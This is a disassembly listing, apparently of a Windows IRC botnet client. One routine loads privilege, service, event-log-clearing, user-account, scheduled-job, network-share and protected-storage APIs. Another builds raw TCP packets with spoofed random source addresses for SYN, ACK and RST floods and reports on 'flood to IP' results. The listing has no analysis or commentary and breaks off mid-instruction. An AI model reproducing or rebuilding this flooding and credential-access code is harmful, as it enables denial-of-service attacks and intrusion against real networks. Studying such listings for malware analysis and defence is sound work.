XREF: sub_40BB43+2E4j push offset aOpenthreadtoke ; "OpenThreadToken" push edi call esi ; dword_42F13C push offset aOpenprocesstok ; "OpenProcessToken" push edi mov dword_454248, eax call esi ; dword_42F13C push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4542F8, eax call esi ; dword_42F13C push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4542C4, eax call esi ; dword_42F13C cmp dword_454248, ebx mov dword_454378, eax jz short loc_40BE83 cmp dword_4542F8, ebx jz short loc_40BE83 cmp dword_4542C4, ebx jz short loc_40BE83 cmp eax, ebx jnz short loc_40BE8D loc_40BE83: ; CODE XREF: sub_40BB43+32Aj ; sub_40BB43+332j ... mov dword_4543E8, 1 loc_40BE8D: ; CODE XREF: sub_40BB43+33Ej push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; dword_42F13C push offset aOpenservicea ; "OpenServiceA" push edi mov dword_454304, eax call esi ; dword_42F13C push offset aStartservicea ; "StartServiceA" push edi mov dword_4541D4, eax call esi ; dword_42F13C push offset aControlservice ; "ControlService" push edi mov dword_4541DC, eax call esi ; dword_42F13C push offset aDeleteservice ; "DeleteService" push edi mov dword_454244, eax call esi ; dword_42F13C push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_454250, eax call esi ; dword_42F13C push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4541F0, eax call esi ; dword_42F13C push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4542C8, eax call esi ; dword_42F13C push offset aCreateservicea ; "CreateServiceA" push edi mov dword_4541E0, eax call esi ; dword_42F13C push offset aStartservicect ; "StartServiceCtrlDispatcherA" push edi mov dword_45437C, eax call esi ; dword_42F13C push offset aImpersonatelog ; "ImpersonateLoggedOnUser" push edi mov dword_4543D0, eax call esi ; dword_42F13C push offset aLockservicedat ; "LockServiceDatabase" push edi mov dword_4543C8, eax call esi ; dword_42F13C push offset aQueryservicelo ; "QueryServiceLockStatusA" push edi mov dword_454208, eax call esi ; dword_42F13C push offset aChangeservicec ; "ChangeServiceConfig2A" push edi mov dword_454284, eax call esi ; dword_42F13C push offset aUnlockserviced ; "UnlockServiceDatabase" push edi mov dword_4543CC, eax call esi ; dword_42F13C push offset aRegisterservic ; "RegisterServiceCtrlHandlerA" push edi mov dword_45432C, eax call esi ; dword_42F13C push offset aSetservicestat ; "SetServiceStatus" push edi mov dword_454328, eax call esi ; dword_42F13C cmp dword_454304, ebx mov dword_45426C, eax jz short loc_40BFDE cmp dword_4541D4, ebx jz short loc_40BFDE cmp dword_4541DC, ebx jz short loc_40BFDE cmp dword_454244, ebx jz short loc_40BFDE cmp dword_454250, ebx jz short loc_40BFDE cmp dword_4541F0, ebx jz short loc_40BFDE cmp dword_4542C8, ebx jz short loc_40BFDE cmp dword_4541E0, ebx jz short loc_40BFDE cmp dword_4543C8, ebx jz short loc_40BFDE cmp dword_454208, ebx jz short loc_40BFDE cmp dword_454284, ebx jz short loc_40BFDE cmp dword_4543CC, ebx jz short loc_40BFDE cmp dword_45432C, ebx jz short loc_40BFDE cmp dword_454328, ebx jz short loc_40BFDE cmp eax, ebx jnz short loc_40BFE8 loc_40BFDE: ; CODE XREF: sub_40BB43+42Dj ; sub_40BB43+435j ... mov dword_4543E8, 1 loc_40BFE8: ; CODE XREF: sub_40BB43+499j push offset aGetusernamea ; "GetUserNameA" push edi call esi ; dword_42F13C cmp eax, ebx mov dword_4541D8, eax jnz short loc_40C003 mov dword_4543E8, 1 loc_40C003: ; CODE XREF: sub_40BB43+4B4j push offset aCleareventloga ; "ClearEventLogA" push edi call esi ; dword_42F13C push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_454290, eax call esi ; dword_42F13C push offset aCloseeventlog ; "CloseEventLog" push edi mov dword_454288, eax call esi ; dword_42F13C cmp dword_454290, ebx mov dword_45424C, eax jz short loc_40C04B cmp dword_454288, ebx jz short loc_40C04B cmp eax, ebx jnz short loc_40C055 jmp short loc_40C04B ; --------------------------------------------------------------------------- loc_40C040: ; CODE XREF: sub_40BB43+21Aj call dword_42F068 ; RtlGetLastWin32Error mov dword_4543F0, eax loc_40C04B: ; CODE XREF: sub_40BB43+4EDj ; sub_40BB43+4F5j ... mov dword_4543E8, 1 loc_40C055: ; CODE XREF: sub_40BB43+4F9j push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz loc_40C31C push offset aWsastartup ; "WSAStartup" push edi call esi ; dword_42F13C push offset aWsasocketa ; "WSASocketA" push edi mov dword_454274, eax call esi ; dword_42F13C push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4543B8, eax call esi ; dword_42F13C push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_454210, eax call esi ; dword_42F13C push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4541E4, eax call esi ; dword_42F13C push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4542B0, eax call esi ; dword_42F13C push offset aWsacleanup ; "WSACleanup" push edi mov dword_454294, eax call esi ; dword_42F13C push offset aSocket ; "socket" push edi mov dword_454258, eax call esi ; dword_42F13C push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_454394, eax call esi ; dword_42F13C push offset aConnect ; "connect" push edi mov dword_4543B0, eax call esi ; dword_42F13C push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4542AC, eax call esi ; dword_42F13C push offset aInet_addr ; "inet_addr" push edi mov dword_45439C, eax call esi ; dword_42F13C push offset aHtons ; "htons" push edi mov dword_45434C, eax call esi ; dword_42F13C push offset aHtonl ; "htonl" push edi mov dword_454314, eax call esi ; dword_42F13C push offset aNtohs ; "ntohs" push edi mov dword_454310, eax call esi ; dword_42F13C push offset aNtohl ; "ntohl" push edi mov dword_454230, eax call esi ; dword_42F13C push offset aSend ; "send" push edi mov dword_454228, eax call esi ; dword_42F13C push offset aSendto ; "sendto" push edi mov dword_454350, eax call esi ; dword_42F13C push offset aRecv ; "recv" push edi mov dword_454370, eax call esi ; dword_42F13C push offset aRecvfrom ; "recvfrom" push edi mov dword_454330, eax call esi ; dword_42F13C mov dword_4542E4, eax push offset aBind ; "bind" push edi call esi ; dword_42F13C push offset aSelect ; "select" push edi mov dword_454344, eax call esi ; dword_42F13C push offset aListen ; "listen" push edi mov dword_4542FC, eax call esi ; dword_42F13C push offset aAccept ; "accept" push edi mov dword_454340, eax call esi ; dword_42F13C push offset aSetsockopt ; "setsockopt" push edi mov dword_4543A4, eax call esi ; dword_42F13C push offset aGetsockname ; "getsockname" push edi mov dword_4542F0, eax call esi ; dword_42F13C push offset aGethostname ; "gethostname" push edi mov dword_4542A8, eax call esi ; dword_42F13C push offset aGethostbyname ; "gethostbyname" push edi mov dword_454324, eax call esi ; dword_42F13C push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_454398, eax call esi ; dword_42F13C push offset aGetpeername ; "getpeername" push edi mov dword_4542C0, eax call esi ; dword_42F13C push offset aClosesocket ; "closesocket" push edi mov dword_454254, eax call esi ; dword_42F13C push offset aShutdown ; "shutdown" push edi mov dword_4543AC, eax call esi ; dword_42F13C cmp dword_454274, ebx mov dword_4543A8, eax jz loc_40C327 cmp dword_4543B8, ebx jz loc_40C327 cmp dword_454210, ebx jz loc_40C327 cmp dword_4542B0, ebx jz loc_40C327 cmp dword_454294, ebx jz loc_40C327 cmp dword_454258, ebx jz loc_40C327 cmp dword_454394, ebx jz loc_40C327 cmp dword_4543B0, ebx jz loc_40C327 cmp dword_4542AC, ebx jz loc_40C327 cmp dword_45439C, ebx jz loc_40C327 cmp dword_45434C, ebx jz loc_40C327 cmp dword_454314, ebx jz loc_40C327 cmp dword_454310, ebx jz loc_40C327 cmp dword_454230, ebx jz short loc_40C327 cmp dword_454350, ebx jz short loc_40C327 cmp dword_454370, ebx jz short loc_40C327 cmp dword_454330, ebx jz short loc_40C327 cmp dword_4542E4, ebx jz short loc_40C327 cmp dword_454344, ebx jz short loc_40C327 cmp dword_4542FC, ebx jz short loc_40C327 cmp dword_454340, ebx jz short loc_40C327 cmp dword_4543A4, ebx jz short loc_40C327 cmp dword_4542F0, ebx jz short loc_40C327 cmp dword_4542A8, ebx jz short loc_40C327 cmp dword_454324, ebx jz short loc_40C327 cmp dword_454398, ebx jz short loc_40C327 cmp dword_4542C0, ebx jz short loc_40C327 cmp dword_4543AC, ebx jnz short loc_40C331 jmp short loc_40C327 ; --------------------------------------------------------------------------- loc_40C31C: ; CODE XREF: sub_40BB43+51Dj call dword_42F068 ; RtlGetLastWin32Error mov dword_4543F8, eax loc_40C327: ; CODE XREF: sub_40BB43+6C9j ; sub_40BB43+6D5j ... mov dword_4543F4, 1 loc_40C331: ; CODE XREF: sub_40BB43+7D5j push offset aWininet_dll ; "wininet.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz loc_40C450 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; dword_42F13C push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_454238, eax call esi ; dword_42F13C push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4541C4, eax call esi ; dword_42F13C push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4542D4, eax call esi ; dword_42F13C push offset aFtpgetfilea ; "FtpGetFileA" push edi mov dword_454278, eax call esi ; dword_42F13C push offset aFtpputfilea ; "FtpPutFileA" push edi mov dword_45421C, eax call esi ; dword_42F13C push offset aInternetconnec ; "InternetConnectA" push edi mov dword_454380, eax call esi ; dword_42F13C push offset aInternetopena ; "InternetOpenA" push edi mov dword_4542E0, eax call esi ; dword_42F13C push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_454298, eax call esi ; dword_42F13C push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4541FC, eax call esi ; dword_42F13C push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4541F4, eax call esi ; dword_42F13C push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_454204, eax call esi ; dword_42F13C cmp dword_454238, ebx mov ecx, dword_454298 mov dword_454348, eax jz short loc_40C42C cmp dword_4541C4, ebx jz short loc_40C42C cmp dword_4542D4, ebx jz short loc_40C42C cmp dword_454278, ebx jz short loc_40C42C cmp dword_4542E0, ebx jz short loc_40C42C cmp ecx, ebx jz short loc_40C42C cmp dword_4541FC, ebx jz short loc_40C42C cmp dword_4541F4, ebx jz short loc_40C42C cmp dword_454204, ebx jz short loc_40C42C cmp eax, ebx jnz short loc_40C436 loc_40C42C: ; CODE XREF: sub_40BB43+8A7j ; sub_40BB43+8AFj ... mov dword_4543FC, 1 loc_40C436: ; CODE XREF: sub_40BB43+8E7j cmp ecx, ebx jz short loc_40C46B push ebx push ebx push ebx push ebx push offset aMozilla5_0Comp ; "Mozilla/5.0 (compatible)" call ecx ; dword_454298 cmp eax, ebx mov dword_4542B8, eax jnz short loc_40C46B jmp short loc_40C465 ; --------------------------------------------------------------------------- loc_40C450: ; CODE XREF: sub_40BB43+7F9j call dword_42F068 ; RtlGetLastWin32Error mov dword_454400, eax mov dword_4543FC, 1 loc_40C465: ; CODE XREF: sub_40BB43+90Bj mov dword_4542B8, ebx loc_40C46B: ; CODE XREF: sub_40BB43+8F5j ; sub_40BB43+909j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz loc_40C561 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; dword_42F13C push offset aNetsharedel ; "NetShareDel" push edi mov dword_4541EC, eax call esi ; dword_42F13C push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4541CC, eax call esi ; dword_42F13C push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_454240, eax call esi ; dword_42F13C push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_454280, eax call esi ; dword_42F13C push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4543A0, eax call esi ; dword_42F13C push offset aNetuseradd ; "NetUserAdd" push edi mov dword_45422C, eax call esi ; dword_42F13C push offset aNetuserdel ; "NetUserDel" push edi mov dword_4541D0, eax call esi ; dword_42F13C push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4541C8, eax call esi ; dword_42F13C push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_45425C, eax call esi ; dword_42F13C push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_45435C, eax call esi ; dword_42F13C cmp dword_4541EC, ebx mov dword_454320, eax jz short loc_40C56C cmp dword_4541CC, ebx jz short loc_40C56C cmp dword_454240, ebx jz short loc_40C56C cmp dword_454280, ebx jz short loc_40C56C cmp dword_4543A0, ebx jz short loc_40C56C cmp dword_45422C, ebx jz short loc_40C56C cmp dword_4541D0, ebx jz short loc_40C56C cmp dword_4541C8, ebx jz short loc_40C56C cmp dword_45425C, ebx jz short loc_40C56C cmp dword_45435C, ebx jz short loc_40C56C cmp eax, ebx jnz short loc_40C576 jmp short loc_40C56C ; --------------------------------------------------------------------------- loc_40C561: ; CODE XREF: sub_40BB43+933j call dword_42F068 ; RtlGetLastWin32Error mov dword_454408, eax loc_40C56C: ; CODE XREF: sub_40BB43+9CEj ; sub_40BB43+9D6j ... mov dword_454404, 1 loc_40C576: ; CODE XREF: sub_40BB43+A1Aj push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz short loc_40C5AB push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; dword_42F13C push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_454218, eax call esi ; dword_42F13C cmp dword_454218, ebx mov dword_454308, eax jz short loc_40C5B6 cmp eax, ebx jnz short loc_40C5C0 jmp short loc_40C5B6 ; --------------------------------------------------------------------------- loc_40C5AB: ; CODE XREF: sub_40BB43+A3Ej call dword_42F068 ; RtlGetLastWin32Error mov dword_454410, eax loc_40C5B6: ; CODE XREF: sub_40BB43+A60j ; sub_40BB43+A66j mov dword_45440C, 1 loc_40C5C0: ; CODE XREF: sub_40BB43+A64j push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz loc_40C653 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; dword_42F13C push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_454390, eax call esi ; dword_42F13C push offset aGetiftable ; "GetIfTable" push edi mov dword_45438C, eax call esi ; dword_42F13C push offset aGettcptable ; "GetTcpTable" push edi mov dword_4542DC, eax call esi ; dword_42F13C push offset aGetudptable ; "GetUdpTable" push edi mov dword_4542F4, eax call esi ; dword_42F13C cmp dword_454390, ebx mov dword_454368, eax jz short loc_40C636 cmp dword_45438C, ebx jz short loc_40C636 cmp dword_4542DC, ebx jz short loc_40C636 cmp eax, ebx jz short loc_40C636 cmp dword_4542F4, ebx jnz short loc_40C640 loc_40C636: ; CODE XREF: sub_40BB43+AD5j ; sub_40BB43+ADDj ... mov dword_454414, 1 loc_40C640: ; CODE XREF: sub_40BB43+AF1j push offset aGetnetworkpara ; "GetNetworkParams" push edi call esi ; dword_42F13C cmp eax, ebx mov dword_4542A4, eax jnz short loc_40C668 jmp short loc_40C65E ; --------------------------------------------------------------------------- loc_40C653: ; CODE XREF: sub_40BB43+A88j call dword_42F068 ; RtlGetLastWin32Error mov dword_45441C, eax loc_40C65E: ; CODE XREF: sub_40BB43+B0Ej mov dword_454414, 1 loc_40C668: ; CODE XREF: sub_40BB43+B0Cj push offset aMpr_dll ; "mpr.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz short loc_40C6C7 push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; dword_42F13C push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4543BC, eax call esi ; dword_42F13C push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4543B4, eax call esi ; dword_42F13C push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_454374, eax call esi ; dword_42F13C cmp dword_4543BC, ebx mov dword_454234, eax jz short loc_40C6D2 cmp dword_4543B4, ebx jz short loc_40C6D2 cmp dword_454374, ebx jz short loc_40C6D2 cmp eax, ebx jnz short loc_40C6DC jmp short loc_40C6D2 ; --------------------------------------------------------------------------- loc_40C6C7: ; CODE XREF: sub_40BB43+B30j call dword_42F068 ; RtlGetLastWin32Error mov dword_454424, eax loc_40C6D2: ; CODE XREF: sub_40BB43+B6Cj ; sub_40BB43+B74j ... mov dword_454420, 1 loc_40C6DC: ; CODE XREF: sub_40BB43+B80j push offset aShell32_dll ; "shell32.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz short loc_40C711 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; dword_42F13C push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_454270, eax call esi ; dword_42F13C cmp dword_454270, ebx mov dword_454388, eax jz short loc_40C71C cmp eax, ebx jnz short loc_40C726 jmp short loc_40C71C ; --------------------------------------------------------------------------- loc_40C711: ; CODE XREF: sub_40BB43+BA4j call dword_42F068 ; RtlGetLastWin32Error mov dword_45442C, eax loc_40C71C: ; CODE XREF: sub_40BB43+BC6j ; sub_40BB43+BCCj mov dword_454428, 1 loc_40C726: ; CODE XREF: sub_40BB43+BCAj push offset aPsapi_dll ; "psapi.dll" call ebp ; dword_42F138 mov edi, eax cmp edi, ebx jz short loc_40C79B push offset aGetmodulefilen ; "GetModuleFileNameExA" push edi call esi ; dword_42F13C push offset aGetmodulebasen ; "GetModuleBaseNameA" push edi mov dword_4542CC, eax call esi ; dword_42F13C push offset aEnumprocessmod ; "EnumProcessModules" push edi mov dword_454224, eax call esi ; dword_42F13C push offset aEnumprocesses ; "EnumProcesses" push edi mov dword_4542D0, eax call esi ; dword_42F13C push offset aGetprocessmemo ; "GetProcessMemoryInfo" push edi mov dword_45430C, eax call esi ; dword_42F13C cmp dword_454224, ebx mov dword_454364, eax jz short loc_40C790 cmp dword_4542D0, ebx jz short loc_40C790 cmp dword_45430C, ebx jz short loc_40C790 cmp eax, ebx jnz short loc_40C7B0 loc_40C790: ; CODE XREF: sub_40BB43+C37j ; sub_40BB43+C3Fj ... xor edi, edi inc edi mov dword_454430, edi jmp short loc_40C7B3 ; --------------------------------------------------------------------------- loc_40C79B: ; CODE XREF: sub_40BB43+BEEj call dword_42F068 ; RtlGetLastWin32Error mov dword_454434, eax mov dword_454430, 1 loc_40C7B0: ; CODE XREF: sub_40BB43+C4Bj xor edi, edi inc edi loc_40C7B3: ; CODE XREF: sub_40BB43+C56j push offset aPstorec_dll ; "pstorec.dll" call ebp ; dword_42F138 cmp eax, ebx jz short loc_40C7D1 push offset aPstorecreatein ; "PStoreCreateInstance" push eax call esi ; dword_42F13C cmp eax, ebx mov dword_4542EC, eax jnz short loc_40C7E2 jmp short loc_40C7DC ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40BB43+C79j call dword_42F068 ; RtlGetLastWin32Error mov dword_45443C, eax loc_40C7DC: ; CODE XREF: sub_40BB43+C8Cj mov dword_454438, edi loc_40C7E2: ; CODE XREF: sub_40BB43+C8Aj push offset aUserenv_dll ; "userenv.dll" call ebp ; dword_42F138 cmp eax, ebx jz short loc_40C800 push offset aGetuserprofile ; "GetUserProfileDirectoryA" push eax call esi ; dword_42F13C cmp eax, ebx mov dword_454334, eax jnz short loc_40C811 jmp short loc_40C80B ; --------------------------------------------------------------------------- loc_40C800: ; CODE XREF: sub_40BB43+CA8j call dword_42F068 ; RtlGetLastWin32Error mov dword_454444, eax loc_40C80B: ; CODE XREF: sub_40BB43+CBBj mov dword_454440, edi loc_40C811: ; CODE XREF: sub_40BB43+CB9j push offset aShlwapi_dll ; "shlwapi.dll" call ebp ; dword_42F138 cmp eax, ebx pop ebp jz short loc_40C830 push offset aPathremovefile ; "PathRemoveFileSpecA" push eax call esi ; dword_42F13C cmp eax, ebx mov dword_45429C, eax jnz short loc_40C841 jmp short loc_40C83B ; --------------------------------------------------------------------------- loc_40C830: ; CODE XREF: sub_40BB43+CD8j call dword_42F068 ; RtlGetLastWin32Error mov dword_45444C, eax loc_40C83B: ; CODE XREF: sub_40BB43+CEBj mov dword_454448, edi loc_40C841: ; CODE XREF: sub_40BB43+CE9j mov eax, edi pop edi pop esi pop ebx retn sub_40BB43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C847 proc near ; DATA XREF: sub_403B2C+6A38o var_268 = dword ptr -268h var_260 = byte ptr -260h var_1E0 = byte ptr -1E0h var_160 = byte ptr -160h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D4 = dword ptr -0D4h var_D0 = dword ptr -0D0h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = word ptr -0B6h var_9C = byte ptr -9Ch var_9B = byte ptr -9Bh var_88 = byte ptr -88h var_78 = byte ptr -78h var_70 = byte ptr -70h var_60 = word ptr -60h var_5E = word ptr -5Eh var_5C = dword ptr -5Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = word ptr -48h var_46 = word ptr -46h var_44 = word ptr -44h var_42 = word ptr -42h var_40 = byte ptr -40h var_3E = word ptr -3Eh var_3C = word ptr -3Ch var_3A = word ptr -3Ah var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = word ptr -36h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 268h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Ah mov esi, eax pop ecx lea edi, [ebp+var_268] rep movsd push 0Eh mov dword ptr [eax+1A4h], 1 xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_9B] mov [ebp+var_9C], bl mov esi, [ebp+var_268] rep stosd stosw stosb mov edi, dword_42F164 mov [ebp+var_2C], esi mov [ebp+var_4C], 17h mov [ebp+var_4A], 35h mov [ebp+var_48], 50h mov [ebp+var_46], 8Bh mov [ebp+var_44], 0B3h mov [ebp+var_42], 0CEAh call edi ; dword_42F164 push eax call sub_4220EF pop ecx push 0FFh push 3 push 2 call dword_454394 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_1C], eax jnz short loc_40C8DB push eax jmp short loc_40C90C ; --------------------------------------------------------------------------- loc_40C8DB: ; CODE XREF: sub_40C847+8Fj lea ecx, [ebp+var_50] push 4 push ecx push 2 push ebx push eax mov [ebp+var_50], 1 call dword_4542F0 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_40C909 lea eax, [ebp+var_260] push eax call dword_45434C ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_40C941 loc_40C909: ; CODE XREF: sub_40C847+AEj push [ebp+var_1C] loc_40C90C: ; CODE XREF: sub_40C847+92j call dword_42F298 ; closesocket push [ebp+var_E0] call sub_41C059 pop ecx mov edi, offset dword_439638 push edi mov ecx, esi call sub_41074B push offset dword_43963C push edi mov ecx, esi call sub_410720 pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C941: ; CODE XREF: sub_40C847+C0j push 8 call sub_41C235 test eax, eax pop ecx jle short loc_40C972 push offset aStopped_ ; "Stopped." push 8 push ebx push ebx push [ebp+var_CC] lea eax, [ebp+var_160] push [ebp+var_C8] push esi push eax call sub_41C090 add esp, 20h loc_40C972: ; CODE XREF: sub_40C847+104j push offset dword_4552D0 call dword_42F274 ; gethostbyname mov eax, [eax+0Ch] push 10h push ebx mov eax, [eax] mov esi, [eax] lea eax, [ebp+var_60] push eax call sub_4221F0 add esp, 0Ch mov [ebp+var_60], 2 push ebx call dword_454314 ; ntohs mov [ebp+var_5E], ax lea eax, [ebp+var_260] push eax call dword_45434C ; inet_addr mov [ebp+var_5C], eax mov [ebp+arg_0], ebx call edi ; dword_42F164 mov [ebp+var_24], eax call edi ; dword_42F164 sub eax, [ebp+var_24] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_D8] jbe loc_40CA9D loc_40C9D6: ; CODE XREF: sub_40C847+57Aj push [ebp+var_1C] call dword_4543AC ; closesocket cmp [ebp+var_C8], ebx jnz loc_40CA87 cmp [ebp+var_CC], ebx mov esi, offset a8sxng_tdfrt ; "8sXNG.tDfrt/" mov edi, offset aSDoneWithSFloo ; "%s Done with %s flood to IP: %s. Sent: "... jnz short loc_40CA4A mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_D8] shr ecx, 14h push ecx push eax lea eax, [ebp+var_260] push [ebp+arg_0] push eax lea eax, [ebp+var_1E0] push eax push esi lea eax, [ebp+var_160] push edi push eax push [ebp+var_2C] call sub_4104F6 add esp, 24h cmp [ebp+var_C8], ebx jnz short loc_40CA87 cmp [ebp+var_CC], ebx jz short loc_40CA87 loc_40CA4A: ; CODE XREF: sub_40C847+1B4j mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_D8] shr ecx, 14h push ecx push eax lea eax, [ebp+var_260] push [ebp+arg_0] push eax lea eax, [ebp+var_1E0] push eax push esi lea eax, [ebp+var_160] push edi push eax push [ebp+var_2C] call sub_410491 add esp, 24h loc_40CA87: ; CODE XREF: sub_40C847+19Ej ; sub_40C847+1F9j ... push [ebp+var_E0] call sub_41C059 pop ecx push ebx call dword_42F150 ; ExitThread loc_40CA9A: ; CODE XREF: sub_40C847+574j mov esi, [ebp+var_28] loc_40CA9D: ; CODE XREF: sub_40C847+189j call sub_4220FC cdq mov ecx, 0FFh and esi, 0FFFFFFh idiv ecx push 2Ch mov [ebp+var_40], 45h shl edx, 18h or edx, esi mov [ebp+var_28], edx call dword_454314 ; ntohs or [ebp+var_38], 0FFh xor esi, esi inc esi cmp [ebp+var_D0], ebx mov [ebp+var_3E], ax mov [ebp+var_3C], si mov [ebp+var_3A], bx mov [ebp+var_37], 6 mov [ebp+var_36], bx jz short loc_40CAEC mov eax, [ebp+var_28] jmp short loc_40CAF7 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40C847+29Ej push offset dword_4552D0 call dword_45434C ; inet_addr loc_40CAF7: ; CODE XREF: sub_40C847+2A3j cmp [ebp+var_DC], ebx mov [ebp+var_34], eax mov eax, [ebp+var_5C] mov [ebp+var_30], eax jnz short loc_40CB18 call sub_4220FC cdq mov ecx, 401h idiv ecx push edx jmp short loc_40CB1E ; --------------------------------------------------------------------------- loc_40CB18: ; CODE XREF: sub_40C847+2BFj push [ebp+var_DC] loc_40CB1E: ; CODE XREF: sub_40C847+2CFj call dword_454314 ; ntohs mov [ebp+var_16], ax call sub_4220FC cdq mov ecx, 401h idiv ecx push edx call dword_454314 ; ntohs push 12345678h mov [ebp+var_18], ax call dword_454310 ; ntohl mov [ebp+var_14], eax lea eax, [ebp+var_1E0] push offset aWy ; "wy" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_40CB71 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp loc_40CCA1 ; --------------------------------------------------------------------------- loc_40CB71: ; CODE XREF: sub_40C847+31Cj lea eax, [ebp+var_1E0] push offset aWak ; "wak" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_40CB94 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp loc_40CCA1 ; --------------------------------------------------------------------------- loc_40CB94: ; CODE XREF: sub_40C847+33Fj lea eax, [ebp+var_1E0] push offset aRst ; "rst" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz short loc_40CBB7 mov [ebp+var_10], esi mov [ebp+var_B], 4 jmp loc_40CCA1 ; --------------------------------------------------------------------------- loc_40CBB7: ; CODE XREF: sub_40C847+362j lea eax, [ebp+var_1E0] push offset aWon ; "won" push eax call sub_4235C0 pop ecx test eax, eax pop ecx jz loc_40CC64 mov [ebp+var_20], ebx loc_40CBD5: ; CODE XREF: sub_40C847+415j call sub_4220FC push 6 cdq pop ecx idiv ecx mov ax, [ebp+edx*2+var_4C] push eax call dword_454314 ; ntohs cmp [ebp+var_20], ebx mov [ebp+var_16], ax jnz short loc_40CC06 and [ebp+var_4], 0EFh and [ebp+var_4], 0EFh mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_40CC52 ; --------------------------------------------------------------------------- loc_40CC06: ; CODE XREF: sub_40C847+3ACj push 0FFFFh push ebx mov [ebp+var_10], esi mov [ebp+var_B], 4 call sub_41409E pop ecx pop ecx push eax call dword_454314 ; ntohs shl al, 4 xor al, [ebp+var_4] push 0FFFFh push ebx mov [ebp+var_10], esi and al, 10h mov [ebp+var_B], 4 xor [ebp+var_4], al call sub_41409E pop ecx pop ecx push eax call dword_454314 ; ntohs shl al, 4 xor al, [ebp+var_4] and al, 10h xor [ebp+var_4], al loc_40CC52: ; CODE XREF: sub_40C847+3BDj inc [ebp+var_20] cmp [ebp+var_20], 3FFh jl loc_40CBD5 jmp short loc_40CCA1 ; --------------------------------------------------------------------------- loc_40CC64: ; CODE XREF: sub_40C847+385j lea eax, [ebp+var_1E0] push offset aRa_0 